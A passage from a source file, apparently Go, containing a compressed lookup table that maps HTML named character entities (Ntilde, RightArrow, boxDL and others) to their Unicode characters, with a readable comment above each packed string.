\x0ftPrecedesEqual;\x05⪯̸\x0ftRightTriangle;\x03⋫\x0ftSucceedsEqual;\x05⪰̸\x0ftSucceedsTilde;\x05≿̸\x0ftSupersetEqual;\x03⊉\x0etGreaterEqual;\x03≱\x0etGreaterTilde;\x03≵\x0etHumpDownHump;\x05≎̸\x0etLeftTriangle;\x03⋪\x0etSquareSubset;\x05⊏̸\x0dtGreaterLess;\x03≹\x0dtLessGreater;\x03≸\x0dtSubsetEqual;\x03⊈\x0dtVerticalBar;\x03∤\x0ctEqualTilde;\x05≂̸\x0ctTildeEqual;\x03≄\x0ctTildeTilde;\x03≉\x0btCongruent;\x03≢\x0btHumpEqual;\x05≏̸\x0btLessEqual;\x03≰\x0btLessTilde;\x03≴\x0atLessLess;\x05≪̸\x0atPrecedes;\x03⊀\x0atSucceeds;\x03⊁\x0atSuperset;\x06⊃⃒\x09tElement;\x03∉\x09tGreater;\x03≯\x08tCupCap;\x03≭\x08tExists;\x03∄\x08tSubset;\x06⊂⃒\x07tEqual;\x03≠\x07tTilde;\x03≁\x06Break;\x03⁠\x06tLess;\x03≮\x03pf;\x03ℕ\x02t;\x03⫬",
			// Nscr;[𝒩].
			"\x03cr;\x04𝒩",
			// Ntilde;[Ñ] Ntilde[Ñ].
			"\x05ilde;\x02Ñ\x04ilde\x02Ñ",
			// Nu;[Ν].
			"\x01;\x02Ν",
			// OElig;[Œ].
			"\x04lig;\x02Œ",
			// Oacute;[Ó] Oacute[Ó].
			"\x05cute;\x02Ó\x04cute\x02Ó",
			// Ocirc;[Ô] Ocirc[Ô] Ocy;[О].
			"\x04irc;\x02Ô\x03irc\x02Ô\x02y;\x02О",
			// Odblac;[Ő].
			"\x05blac;\x02Ő",
			// Ofr;[𝔒].
			"\x02r;\x04𝔒",
			// Ograve;[Ò] Ograve[Ò].
			"\x05rave;\x02Ò\x04rave\x02Ò",
			// Omicron;[Ο] Omacr;[Ō] Omega;[Ω].
			"\x06icron;\x02Ο\x04acr;\x02Ō\x04ega;\x02Ω",
			// Oopf;[𝕆].
			"\x03pf;\x04𝕆",
			// OpenCurlyDoubleQuote;[“] OpenCurlyQuote;[‘].
			"\x13enCurlyDoubleQuote;\x03“\x0denCurlyQuote;\x03‘",
			// Or;[⩔].
			"\x01;\x03⩔",
			// Oslash;[Ø] Oslash[Ø] Oscr;[𝒪].
			"\x05lash;\x02Ø\x04lash\x02Ø\x03cr;\x04𝒪",
			// Otilde;[Õ] Otimes;[⨷] Otilde[Õ].
			"\x05ilde;\x02Õ\x05imes;\x03⨷\x04ilde\x02Õ",
			// Ouml;[Ö] Ouml[Ö].
			"\x03ml;\x02Ö\x02ml\x02Ö",
			// OverParenthesis;[⏜] OverBracket;[⎴] OverBrace;[⏞] OverBar;[‾].
			"\x0eerParenthesis;\x03⏜\x0aerBracket;\x03⎴\x08erBrace;\x03⏞\x06erBar;\x03‾",
			// PartialD;[∂].
			"\x07rtialD;\x03∂",
			// Pcy;[П].
			"\x02y;\x02П",
			// Pfr;[𝔓].
			"\x02r;\x04𝔓",
			// Phi;[Φ].
			"\x02i;\x02Φ",
			// Pi;[Π].
			"\x01;\x02Π",
			// PlusMinus;[±].
			"\x08usMinus;\x02±",
			// Poincareplane;[ℌ] Popf;[ℙ].
			"\x0cincareplane;\x03ℌ\x03pf;\x03ℙ",
			// PrecedesSlantEqual;[≼] PrecedesEqual;[⪯] PrecedesTilde;[≾] Proportional;[∝] Proportion;[∷] Precedes;[≺] Product;[∏] Prime;[″] Pr;[⪻].
			"\x11ecedesSlantEqual;\x03≼\x0cecedesEqual;\x03⪯\x0cecedesTilde;\x03≾\x0boportional;\x03∝\x09oportion;\x03∷\x07ecedes;\x03≺\x06oduct;\x03∏\x04ime;\x03″\x01;\x03⪻",
			// Pscr;[𝒫] Psi;[Ψ].
			"\x03cr;\x04𝒫\x02i;\x02Ψ",
			// QUOT;[\"] QUOT[\"].
			"\x03OT;\x01\"\x02OT\x01\"",
			// Qfr;[𝔔].
			"\x02r;\x04𝔔",
			// Qopf;[ℚ].
			"\x03pf;\x03ℚ",
			// Qscr;[𝒬].
			"\x03cr;\x04𝒬",
			// RBarr;[⤐].
			"\x04arr;\x03⤐",
			// REG;[®] REG[®].
			"\x02G;\x02®\x01G\x02®",
			// Racute;[Ŕ] Rarrtl;[⤖] Rang;[⟫] Rarr;[↠].
			"\x05cute;\x02Ŕ\x05rrtl;\x03⤖\x03ng;\x03⟫\x03rr;\x03↠",
			// Rcaron;[Ř] Rcedil;[Ŗ] Rcy;[Р].
			"\x05aron;\x02Ř\x05edil;\x02Ŗ\x02y;\x02Р",
			// ReverseUpEquilibrium;[⥯] ReverseEquilibrium;[⇋] ReverseElement;[∋] Re;[ℜ].
			"\x13verseUpEquilibrium;\x03⥯\x11verseEquilibrium;\x03⇋\x0dverseElement;\x03∋\x01;\x03ℜ",
			// Rfr;[ℜ].
			"\x02r;\x03ℜ",
			// Rho;[Ρ].
			"\x02o;\x02Ρ",
			// RightArrowLeftArrow;[⇄] RightDoubleBracket;[⟧] RightDownTeeVector;[⥝] RightDownVectorBar;[⥕] RightTriangleEqual;[⊵] RightAngleBracket;[⟩] RightUpDownVector;[⥏] RightTriangleBar;[⧐] RightUpTeeVector;[⥜] RightUpVectorBar;[⥔] RightDownVector;[⇂] RightTeeVector;[⥛] RightVectorBar;[⥓] RightArrowBar;[⇥] RightTeeArrow;[↦] RightTriangle;[⊳] RightUpVector;[↾] RightCeiling;[⌉] RightVector;[⇀] RightArrow;[→] RightFloor;[⌋] Rightarrow;[⇒] RightTee;[⊢].
			"\x12ghtArrowLeftArrow;\x03⇄\x11ghtDoubleBracket;\x03⟧\x11ghtDownTeeVector;\x03⥝\x11ghtDownVectorBar;\x03⥕\x11ghtTriangleEqual;\x03⊵\x10ghtAngleBracket;\x03⟩\x10ghtUpDownVector;\x03⥏\x0fghtTriangleBar;\x03⧐\x0fghtUpTeeVector;\x03⥜\x0fghtUpVectorBar;\x03⥔\x0eghtDownVector;\x03⇂\x0dghtTeeVector;\x03⥛\x0dghtVectorBar;\x03⥓\x0cghtArrowBar;\x03⇥\x0cghtTeeArrow;\x03↦\x0cghtTriangle;\x03⊳\x0cghtUpVector;\x03↾\x0bghtCeiling;\x03⌉\x0aghtVector;\x03⇀\x09ghtArrow;\x03→\x09ghtFloor;\x03⌋\x09ghtarrow;\x03⇒\x07ghtTee;\x03⊢",
			// RoundImplies;[⥰] Ropf;[ℝ].
			"\x0bundImplies;\x03⥰\x03pf;\x03ℝ",
			// Rrightarrow;[⇛].
			"\x0aightarrow;\x03⇛",
			// Rscr;[ℛ] Rsh;[↱].
			"\x03cr;\x03ℛ\x02h;\x03↱",
			// RuleDelayed;[⧴].
			"\x0aleDelayed;\x03⧴",
			// SHCHcy;[Щ] SHcy;[Ш].
			"\x05CHcy;\x02Щ\x03cy;\x02Ш",
			// SOFTcy;[Ь].
			"\x05FTcy;\x02Ь",
			// Sacute;[Ś].
			"\x05cute;\x02Ś",
			// Scaron;[Š] Scedil;[Ş] Scirc;[Ŝ] Scy;[С] Sc;[⪼].
			"\x05aron;\x02Š\x05edil;\x02Ş\x04irc;\x02Ŝ\x02y;\x02С\x01;\x03⪼",
			// Sfr;[𝔖].
			"\x02r;\x04𝔖",
			// ShortRightArrow;[→] ShortDownArrow;[↓] ShortLeftArrow;[←] ShortUpArrow;[↑].
			"\x0eortRightArrow;\x03→\x0dortDownArrow;\x03↓\x0dortLeftArrow;\x03←\x0bortUpArrow;\x03↑",
			// Sigma;[Σ].
			"\x04gma;\x02Σ",
			// SmallCircle;[∘].
			"\x0aallCircle;\x03∘",
			// Sopf;[𝕊].
			"\x03pf;\x04𝕊",
			// SquareSupersetEqual;[⊒] SquareIntersection;[⊓] SquareSubsetEqual;[⊑] SquareSuperset;[⊐] SquareSubset;[⊏] SquareUnion;[⊔] Square;[□] Sqrt;[√].
			"\x12uareSupersetEqual;\x03⊒\x11uareIntersection;\x03⊓\x10uareSubsetEqual;\x03⊑\x0duareSuperset;\x03⊐\x0buareSubset;\x03⊏\x0auareUnion;\x03⊔\x05uare;\x03□\x03rt;\x03√",
			// Sscr;[𝒮].
			"\x03cr;\x04𝒮",
			// Star;[⋆].
			"\x03ar;\x03⋆",
			// SucceedsSlantEqual;[≽] SucceedsEqual;[⪰] SucceedsTilde;[≿] SupersetEqual;[⊇] SubsetEqual;[⊆] Succeeds;[≻] SuchThat;[∋] Superset;[⊃] Subset;[⋐] Supset;[⋑] Sub;[⋐] Sum;[∑] Sup;[⋑].
			"\x11cceedsSlantEqual;\x03≽\x0ccceedsEqual;\x03⪰\x0ccceedsTilde;\x03≿\x0cpersetEqual;\x03⊇\x0absetEqual;\x03⊆\x07cceeds;\x03≻\x07chThat;\x03∋\x07perset;\x03⊃\x05bset;\x03⋐\x05pset;\x03⋑\x02b;\x03⋐\x02m;\x03∑\x02p;\x03⋑",
			// THORN;[Þ] THORN[Þ].
			"\x04ORN;\x02Þ\x03ORN\x02Þ",
			// TRADE;[™].
			"\x04ADE;\x03™",
			// TSHcy;[Ћ] TScy;[Ц].
			"\x04Hcy;\x02Ћ\x03cy;\x02Ц",
			// Tab;[\x9] Tau;[Τ].
			"\x02b;\x01\x9\x02u;\x02Τ",
			// Tcaron;[Ť] Tcedil;[Ţ] Tcy;[Т].
			"\x05aron;\x02Ť\x05edil;\x02Ţ\x02y;\x02Т",
			// Tfr;[𝔗].
			"\x02r;\x04𝔗",
			// ThickSpace;[  ] Therefore;[∴] ThinSpace;[ ] Theta;[Θ].
			"\x09ickSpace;\x06  \x08erefore;\x03∴\x08inSpace;\x03 \x04eta;\x02Θ",
			// TildeFullEqual;[≅] TildeEqual;[≃] TildeTilde;[≈] Tilde;[∼].
			"\x0dldeFullEqual;\x03≅\x09ldeEqual;\x03≃\x09ldeTilde;\x03≈\x04lde;\x03∼",
			// Topf;[𝕋].
			"\x03pf;\x04𝕋",
			// TripleDot;[⃛].
			"\x08ipleDot;\x03⃛",
			// Tstrok;[Ŧ] Tscr;[𝒯].
			"\x05trok;\x02Ŧ\x03cr;\x04𝒯",
			// Uarrocir;[⥉] Uacute;[Ú] Uacute[Ú] Uarr;[↟].
			"\x07rrocir;\x03⥉\x05cute;\x02Ú\x04cute\x02Ú\x03rr;\x03↟",
			// Ubreve;[Ŭ] Ubrcy;[Ў].
			"\x05reve;\x02Ŭ\x04rcy;\x02Ў",
			// Ucirc;[Û] Ucirc[Û] Ucy;[У].
			"\x04irc;\x02Û\x03irc\x02Û\x02y;\x02У",
			// Udblac;[Ű].
			"\x05blac;\x02Ű",
			// Ufr;[𝔘].
			"\x02r;\x04𝔘",
			// Ugrave;[Ù] Ugrave[Ù].
			"\x05rave;\x02Ù\x04rave\x02Ù",
			// Umacr;[Ū].
			"\x04acr;\x02Ū",
			// UnderParenthesis;[⏝] UnderBracket;[⎵] UnderBrace;[⏟] UnionPlus;[⊎] UnderBar;[_] Union;[⋃].
			"\x0fderParenthesis;\x03⏝\x0bderBracket;\x03⎵\x09derBrace;\x03⏟\x08ionPlus;\x03⊎\x07derBar;\x01_\x04ion;\x03⋃",
			// Uogon;[Ų] Uopf;[𝕌].
			"\x04gon;\x02Ų\x03pf;\x04𝕌",
			// UpArrowDownArrow;[⇅] UpperRightArrow;[↗] UpperLeftArrow;[↖] UpEquilibrium;[⥮] UpDownArrow;[↕] Updownarrow;[⇕] UpArrowBar;[⤒] UpTeeArrow;[↥] UpArrow;[↑] Uparrow;[⇑] Upsilon;[Υ] UpTee;[⊥] Upsi;[ϒ].
			"\x0fArrowDownArrow;\x03⇅\x0eperRightArrow;\x03↗\x0dperLeftArrow;\x03↖\x0cEquilibrium;\x03⥮\x0aDownArrow;\x03↕\x0adownarrow;\x03⇕\x09ArrowBar;\x03⤒\x09TeeArrow;\x03↥\x06Arrow;\x03↑\x06arrow;\x03⇑\x06silon;\x02Υ\x04Tee;\x03⊥\x03si;\x02ϒ",
			// Uring;[Ů].
			"\x04ing;\x02Ů",
			// Uscr;[𝒰].
			"\x03cr;\x04𝒰",
			// Utilde;[Ũ].
			"\x05ilde;\x02Ũ",
			// Uuml;[Ü] Uuml[Ü].
			"\x03ml;\x02Ü\x02ml\x02Ü",
			// VDash;[⊫].
			"\x04ash;\x03⊫",
			// Vbar;[⫫].
			"\x03ar;\x03⫫",
			// Vcy;[В].
			"\x02y;\x02В",
			// Vdashl;[⫦] Vdash;[⊩].
			"\x05ashl;\x03⫦\x04ash;\x03⊩",
			// VerticalSeparator;[❘] VerticalTilde;[≀] VeryThinSpace;[ ] VerticalLine;[|] VerticalBar;[∣] Verbar;[‖] Vert;[‖] Vee;[⋁].
			"\x10rticalSeparator;\x03❘\x0crticalTilde;\x03≀\x0cryThinSpace;\x03 \x0brticalLine;\x01|\x0articalBar;\x03∣\x05rbar;\x03‖\x03rt;\x03‖\x02e;\x03⋁",
			// Vfr;[𝔙].
			"\x02r;\x04𝔙",
			// Vopf;[𝕍].
			"\x03pf;\x04𝕍",
			// Vscr;[𝒱].
			"\x03cr;\x04𝒱",
			// Vvdash;[⊪].
			"\x05dash;\x03⊪",
			// Wcirc;[Ŵ].
			"\x04irc;\x02Ŵ",
			// Wedge;[⋀].
			"\x04dge;\x03⋀",
			// Wfr;[𝔚].
			"\x02r;\x04𝔚",
			// Wopf;[𝕎].
			"\x03pf;\x04𝕎",
			// Wscr;[𝒲].
			"\x03cr;\x04𝒲",
			// Xfr;[𝔛].
			"\x02r;\x04𝔛",
			// Xi;[Ξ].
			"\x01;\x02Ξ",
			// Xopf;[𝕏].
			"\x03pf;\x04𝕏",
			// Xscr;[𝒳].
			"\x03cr;\x04𝒳",
			// YAcy;[Я].
			"\x03cy;\x02Я",
			// YIcy;[Ї].
			"\x03cy;\x02Ї",
			// YUcy;[Ю].
			"\x03cy;\x02Ю",
			// Yacute;[Ý] Yacute[Ý].
			"\x05cute;\x02Ý\x04cute\x02Ý",
			// Ycirc;[Ŷ] Ycy;[Ы].
			"\x04irc;\x02Ŷ\x02y;\x02Ы",
			// Yfr;[𝔜].
			"\x02r;\x04𝔜",
			// Yopf;[𝕐].
			"\x03pf;\x04𝕐",
			// Yscr;[𝒴].
			"\x03cr;\x04𝒴",
			// Yuml;[Ÿ].
			"\x03ml;\x02Ÿ",
			// ZHcy;[Ж].
			"\x03cy;\x02Ж",
			// Zacute;[Ź].
			"\x05cute;\x02Ź",
			// Zcaron;[Ž] Zcy;[З].
			"\x05aron;\x02Ž\x02y;\x02З",
			// Zdot;[Ż].
			"\x03ot;\x02Ż",
			// ZeroWidthSpace;[​] Zeta;[Ζ].
			"\x0droWidthSpace;\x03​\x03ta;\x02Ζ",
			// Zfr;[ℨ].
			"\x02r;\x03ℨ",
			// Zopf;[ℤ].
			"\x03pf;\x03ℤ",
			// Zscr;[𝒵].
			"\x03cr;\x04𝒵",
			// aacute;[á] aacute[á].
			"\x05cute;\x02á\x04cute\x02á",
			// abreve;[ă].
			"\x05reve;\x02ă",
			// acirc;[â] acute;[´] acirc[â] acute[´] acE;[∾̳] acd;[∿] acy;[а] ac;[∾].
			"\x04irc;\x02â\x04ute;\x02´\x03irc\x02â\x03ute\x02´\x02E;\x05∾̳\x02d;\x03∿\x02y;\x02а\x01;\x03∾",
			// aelig;[æ] aelig[æ].
			"\x04lig;\x02æ\x03lig\x02æ",
			// afr;[𝔞] af;[⁡].
			"\x02r;\x04𝔞\x01;\x03⁡",
			// agrave;[à] agrave[à].
			"\x05rave;\x02à\x04rave\x02à",
			// alefsym;[ℵ] aleph;[ℵ] alpha;[α].
			"\x06efsym;\x03ℵ\x04eph;\x03ℵ\x04pha;\x02α",
			// amacr;[ā] amalg;[⨿] amp;[&] amp[&].
			"\x04acr;\x02ā\x04alg;\x03⨿\x02p;\x01&\x01p\x01&",
			// andslope;[⩘] angmsdaa;[⦨] angmsdab;[⦩] angmsdac;[⦪] angmsdad;[⦫] angmsdae;[⦬] angmsdaf;[⦭] angmsdag;[⦮] angmsdah;[⦯] angrtvbd;[⦝] angrtvb;[⊾] angzarr;[⍼] andand;[⩕] angmsd;[∡] angsph;[∢] angle;[∠] angrt;[∟] angst;[Å] andd;[⩜] andv;[⩚] ange;[⦤] and;[∧] ang;[∠].
			"\x07dslope;\x03⩘\x07gmsdaa;\x03⦨\x07gmsdab;\x03⦩\x07gmsdac;\x03⦪\x07gmsdad;\x03⦫\x07gmsdae;\x03⦬\x07gmsdaf;\x03⦭\x07gmsdag;\x03⦮\x07gmsdah;\x03⦯\x07grtvbd;\x03⦝\x06grtvb;\x03⊾\x06gzarr;\x03⍼\x05dand;\x03⩕\x05gmsd;\x03∡\x05gsph;\x03∢\x04gle;\x03∠\x04grt;\x03∟\x04gst;\x02Å\x03dd;\x03⩜\x03dv;\x03⩚\x03ge;\x03⦤\x02d;\x03∧\x02g;\x03∠",
			// aogon;[ą] aopf;[𝕒].
			"\x04gon;\x02ą\x03pf;\x04𝕒",
			// approxeq;[≊] apacir;[⩯] approx;[≈] apid;[≋] apos;['] apE;[⩰] ape;[≊] ap;[≈].
			"\x07proxeq;\x03≊\x05acir;\x03⩯\x05prox;\x03≈\x03id;\x03≋\x03os;\x01'\x02E;\x03⩰\x02e;\x03≊\x01;\x03≈",
			// aring;[å] aring[å].
			"\x04ing;\x02å\x03ing\x02å",
			// asympeq;[≍] asymp;[≈] ascr;[𝒶] ast;[*].
			"\x06ympeq;\x03≍\x04ymp;\x03≈\x03cr;\x04𝒶\x02t;\x01*",
			// atilde;[ã] atilde[ã].
			"\x05ilde;\x02ã\x04ilde\x02ã",
			// auml;[ä] auml[ä].
			"\x03ml;\x02ä\x02ml\x02ä",
			// awconint;[∳] awint;[⨑].
			"\x07conint;\x03∳\x04int;\x03⨑",
			// bNot;[⫭].
			"\x03ot;\x03⫭",
			// backepsilon;[϶] backprime;[‵] backsimeq;[⋍] backcong;[≌] barwedge;[⌅] backsim;[∽] barvee;[⊽] barwed;[⌅].
			"\x0ackepsilon;\x02϶\x08ckprime;\x03‵\x08cksimeq;\x03⋍\x07ckcong;\x03≌\x07rwedge;\x03⌅\x06cksim;\x03∽\x05rvee;\x03⊽\x05rwed;\x03⌅",
			// bbrktbrk;[⎶] bbrk;[⎵].
			"\x07rktbrk;\x03⎶\x03rk;\x03⎵",
			// bcong;[≌] bcy;[б].
			"\x04ong;\x03≌\x02y;\x02б",
			// bdquo;[„].
			"\x04quo;\x03„",
			// because;[∵] bemptyv;[⦰] between;[≬] becaus;[∵] bernou;[ℬ] bepsi;[϶] beta;[β] beth;[ℶ].
			"\x06cause;\x03∵\x06mptyv;\x03⦰\x06tween;\x03≬\x05caus;\x03∵\x05rnou;\x03ℬ\x04psi;\x02϶\x03ta;\x02β\x03th;\x03ℶ",
			// bfr;[𝔟].
			"\x02r;\x04𝔟",
			// bigtriangledown;[▽] bigtriangleup;[△] bigotimes;[⨂] bigoplus;[⨁] bigsqcup;[⨆] biguplus;[⨄] bigwedge;[⋀] bigcirc;[◯] bigodot;[⨀] bigstar;[★] bigcap;[⋂] bigcup;[⋃] bigvee;[⋁].
			"\x0egtriangledown;\x03▽\x0cgtriangleup;\x03△\x08gotimes;\x03⨂\x07goplus;\x03⨁\x07gsqcup;\x03⨆\x07guplus;\x03⨄\x07gwedge;\x03⋀\x06gcirc;\x03◯\x06godot;\x03⨀\x06gstar;\x03★\x05gcap;\x03⋂\x05gcup;\x03⋃\x05gvee;\x03⋁",
			// bkarow;[⤍].
			"\x05arow;\x03⤍",
			// blacktriangleright;[▸] blacktriangledown;[▾] blacktriangleleft;[◂] blacktriangle;[▴] blacklozenge;[⧫] blacksquare;[▪] blank;[␣] blk12;[▒] blk14;[░] blk34;[▓] block;[█].
			"\x11acktriangleright;\x03▸\x10acktriangledown;\x03▾\x10acktriangleleft;\x03◂\x0cacktriangle;\x03▴\x0backlozenge;\x03⧫\x0aacksquare;\x03▪\x04ank;\x03␣\x04k12;\x03▒\x04k14;\x03░\x04k34;\x03▓\x04ock;\x03█",
			// bnequiv;[≡⃥] bnot;[⌐] bne;[=⃥].
			"\x06equiv;\x06≡⃥\x03ot;\x03⌐\x02e;\x04=⃥",
			// boxminus;[⊟] boxtimes;[⊠] boxplus;[⊞] bottom;[⊥] bowtie;[⋈] boxbox;[⧉] boxDL;[╗] boxDR;[╔] boxDl;[╖] boxDr;[╓] boxHD;[╦] boxHU;[╩] boxHd;[╤] boxHu;[╧] boxUL;[╝] boxUR;[╚] boxUl;[╜] boxUr;[╙] boxVH;[╬] boxVL;[╣] boxVR;[╠] boxVh;[╫] boxVl;[╢] boxVr;[╟] boxdL;[╕] boxdR;[╒] boxdl;[┐] boxdr;[┌] boxhD;[╥] boxhU;[╨] boxhd;[┬] boxhu;[┴] boxuL;[╛] boxuR;[╘] boxul;[┘] boxur;[└] boxvH;[╪] boxvL;[╡] boxvR;[╞] boxvh;[┼] boxvl;[┤] boxvr;[├] bopf;[𝕓] boxH;[═] boxV;[║] boxh;[─] boxv;[│] bot;[⊥].
			"\x07xminus;\x03⊟\x07xtimes;\x03⊠\x06xplus;\x03⊞\x05ttom;\x03⊥\x05wtie;\x03⋈\x05xbox;\x03⧉\x04xDL;\x03╗\x04xDR;\x03╔\x04xDl;\x03╖\x04xDr;\x03╓\x04xHD;\x03╦\x04xHU;\x03╩\x04xHd;\x03╤\x04xHu;\x03╧\x04xUL;\x03╝\x04xUR;\x03╚\x04xUl;\x03╜\x04xUr;\x03╙\x04xVH;\x03╬\x04xVL;\x03╣\x04xVR;\x03╠\x04xVh;\x03╫\x04xVl;\x03╢\x04xVr;\x03╟\x04xdL;\x03╕\x04xdR;\x03╒\x04xdl;\x03┐\x04xdr;\x03┌\x04xhD;\x03╥\x04xhU;\x03╨\x04xhd;\x03┬\x04xhu;\x03┴\x04xuL;\x03╛\x04xuR;\x03╘\x04xul;\x03┘\x04xur;\x03└\x04xvH;\x03╪\x04xvL;\x03╡\x04xvR;\x03╞\x04xvh;\x03┼\x04xvl;\x03┤\x04xvr;\x03├\x03pf;\x04𝕓\x03xH;\x03═\x03xV;\x03║\x03xh;\x03─\x03xv;\x03│\x02t;\x03⊥",
			// bprime;[‵].
			"\x05rime;\x03‵",
			// brvbar;[¦] breve;[˘] brvbar[¦].
			"\x05vbar;\x02¦\x04eve;\x02˘\x04vbar\x02¦",
			// bsolhsub;[⟈] bsemi;[⁏] bsime;[⋍] bsolb;[⧅] bscr;[𝒷] bsim;[∽] bsol;[\\].
			"\x07olhsub;\x03⟈\x04emi;\x03⁏\x04ime;\x03⋍\x04olb;\x03⧅\x03cr;\x04𝒷\x03im;\x03∽\x03ol;\x01\\",
			// bullet;[•] bumpeq;[≏] bumpE;[⪮] bumpe;[≏] bull;[•] bump;[≎].
			"\x05llet;\x03•\x05mpeq;\x03≏\x04mpE;\x03⪮\x04mpe;\x03≏\x03ll;\x03•\x03mp;\x03≎",
			// capbrcup;[⩉] cacute;[ć] capand;[⩄] capcap;[⩋] capcup;[⩇] capdot;[⩀] caret;[⁁] caron;[ˇ] caps;[∩︀] cap;[∩].
			"\x07pbrcup;\x03⩉\x05cute;\x02ć\x05pand;\x03⩄\x05pcap;\x03⩋\x05pcup;\x03⩇\x05pdot;\x03⩀\x04ret;\x03⁁\x04ron;\x02ˇ\x03ps;\x06∩︀\x02p;\x03∩",
			// ccupssm;[⩐] ccaron;[č] ccedil;[ç] ccaps;[⩍] ccedil[ç] ccirc;[ĉ] ccups;[⩌].
			"\x06upssm;\x03⩐\x05aron;\x02č\x05edil;\x02ç\x04aps;\x03⩍\x04edil\x02ç\x04irc;\x02ĉ\x04ups;\x03⩌",
			// cdot;[ċ].
			"\x03ot;\x02ċ",
			// centerdot;[·] cemptyv;[⦲] cedil;[¸] cedil[¸] cent;[¢] cent[¢].
			"\x08nterdot;\x02·\x06mptyv;\x03⦲\x04dil;\x02¸\x03dil\x02¸\x03nt;\x02¢\x02nt\x02¢",
			// cfr;[𝔠].
			"\x02r;\x04𝔠",
			// checkmark;[✓] check;[✓] chcy;[ч] chi;[χ].
			"\x08eckmark;\x03✓\x04eck;\x03✓\x03cy;\x02ч\x02i;\x02χ",
			// circlearrowright;[↻] circlearrowleft;[↺] circledcirc;[⊚] circleddash;[⊝] circledast;[⊛] circledR;[®] circledS;[Ⓢ] cirfnint;[⨐] cirscir;[⧂] circeq;[≗] cirmid;[⫯] cirE;[⧃] circ;[ˆ] cire;[≗] cir;[○].
			"\x0frclearrowright;\x03↻\x0erclearrowleft;\x03↺\x0arcledcirc;\x03⊚\x0arcleddash;\x03⊝\x09rcledast;\x03⊛\x07rcledR;\x02®\x07rcledS;\x03Ⓢ\x07rfnint;\x03⨐\x06rscir;\x03⧂\x05rceq;\x03≗\x05rmid;\x03⫯\x03rE;\x03⧃\x03rc;\x02ˆ\x03re;\x03≗\x02r;\x03○",
			// clubsuit;[♣] clubs;[♣].
			"\x07ubsuit;\x03♣\x04ubs;\x03♣",
			// complement;[∁] complexes;[ℂ] coloneq;[≔] congdot;[⩭] colone;[≔] commat;[@] compfn;[∘] conint;[∮] coprod;[∐] copysr;[℗] colon;[:] comma;[,] comp;[∁] cong;[≅] copf;[𝕔] copy;[©] copy[©].
			"\x09mplement;\x03∁\x08mplexes;\x03ℂ\x06loneq;\x03≔\x06ngdot;\x03⩭\x05lone;\x03≔\x05mmat;\x01@\x05mpfn;\x03∘\x05nint;\x03∮\x05prod;\x03∐\x05pysr;\x03℗\x04lon;\x01:\x04mma;\x01,\x03mp;\x03∁\x03ng;\x03≅\x03pf;\x04𝕔\x03py;\x02©\x02py\x02©",
			// crarr;[↵] cross;[✗].
			"\x04arr;\x03↵\x04oss;\x03✗",
			// csube;[⫑] csupe;[⫒] cscr;[𝒸] csub;[⫏] csup;[⫐].
			"\x04ube;\x03⫑\x04upe;\x03⫒\x03cr;\x04𝒸\x03ub;\x03⫏\x03up;\x03⫐",
			// ctdot;[⋯].
			"\x04dot;\x03⋯",
			// curvearrowright;[↷] curvearrowleft;[↶] curlyeqprec;[⋞] curlyeqsucc;[⋟] curlywedge;[⋏] cupbrcap;[⩈] curlyvee;[⋎] cudarrl;[⤸] cudarrr;[⤵] cularrp;[⤽] curarrm;[⤼] cularr;[↶] cupcap;[⩆] cupcup;[⩊] cupdot;[⊍] curarr;[↷] curren;[¤] cuepr;[⋞] cuesc;[⋟] cupor;[⩅] curren[¤] cuvee;[⋎] cuwed;[⋏] cups;[∪︀] cup;[∪].
			"\x0ervearrowright;\x03↷\x0drvearrowleft;\x03↶\x0arlyeqprec;\x03⋞\x0arlyeqsucc;\x03⋟\x09rlywedge;\x03⋏\x07pbrcap;\x03⩈\x07rlyvee;\x03⋎\x06darrl;\x03⤸\x06darrr;\x03⤵\x06larrp;\x03⤽\x06rarrm;\x03⤼\x05larr;\x03↶\x05pcap;\x03⩆\x05pcup;\x03⩊\x05pdot;\x03⊍\x05rarr;\x03↷\x05rren;\x02¤\x04epr;\x03⋞\x04esc;\x03⋟\x04por;\x03⩅\x04rren\x02¤\x04vee;\x03⋎\x04wed;\x03⋏\x03ps;\x06∪︀\x02p;\x03∪",
			// cwconint;[∲] cwint;[∱].
			"\x07conint;\x03∲\x04int;\x03∱",
			// cylcty;[⌭].
			"\x05lcty;\x03⌭",
			// dArr;[⇓].
			"\x03rr;\x03⇓",
			// dHar;[⥥].
			"\x03ar;\x03⥥",
			// dagger;[†] daleth;[ℸ] dashv;[⊣] darr;[↓] dash;[‐].
			"\x05gger;\x03†\x05leth;\x03ℸ\x04shv;\x03⊣\x03rr;\x03↓\x03sh;\x03‐",
			// dbkarow;[⤏] dblac;[˝].
			"\x06karow;\x03⤏\x04lac;\x02˝",
			// dcaron;[ď] dcy;[д].
			"\x05aron;\x02ď\x02y;\x02д",
			// ddagger;[‡] ddotseq;[⩷] ddarr;[⇊] dd;[ⅆ].
			"\x06agger;\x03‡\x06otseq;\x03⩷\x04arr;\x03⇊\x01;\x03ⅆ",
			// demptyv;[⦱] delta;[δ] deg;[°] deg[°].
			"\x06mptyv;\x03⦱\x04lta;\x02δ\x02g;\x02°\x01g\x02°",
			// dfisht;[⥿] dfr;[𝔡].
			"\x05isht;\x03⥿\x02r;\x04𝔡",
			// dharl;[⇃] dharr;[⇂].
			"\x04arl;\x03⇃\x04arr;\x03⇂",
			// divideontimes;[⋇] diamondsuit;[♦] diamond;[⋄] digamma;[ϝ] divide;[÷] divonx;[⋇] diams;[♦] disin;[⋲] divide[÷] diam;[⋄] die;[¨] div;[÷].
			"\x0cvideontimes;\x03⋇\x0aamondsuit;\x03♦\x06amond;\x03⋄\x06gamma;\x02ϝ\x05vide;\x02÷\x05vonx;\x03⋇\x04ams;\x03♦\x04sin;\x03⋲\x04vide\x02÷\x03am;\x03⋄\x02e;\x02¨\x02v;\x02÷",
			// djcy;[ђ].
			"\x03cy;\x02ђ",
			// dlcorn;[⌞] dlcrop;[⌍].
			"\x05corn;\x03⌞\x05crop;\x03⌍",
			// downharpoonright;[⇂] downharpoonleft;[⇃] doublebarwedge;[⌆] downdownarrows;[⇊] dotsquare;[⊡] downarrow;[↓] doteqdot;[≑] dotminus;[∸] dotplus;[∔] dollar;[$] doteq;[≐] dopf;[𝕕] dot;[˙].
			"\x0fwnharpoonright;\x03⇂\x0ewnharpoonleft;\x03⇃\x0dublebarwedge;\x03⌆\x0dwndownarrows;\x03⇊\x08tsquare;\x03⊡\x08wnarrow;\x03↓\x07teqdot;\x03≑\x07tminus;\x03∸\x06tplus;\x03∔\x05llar;\x01$\x04teq;\x03≐\x03pf;\x04𝕕\x02t;\x02˙",
			// drbkarow;[⤐] drcorn;[⌟] drcrop;[⌌].
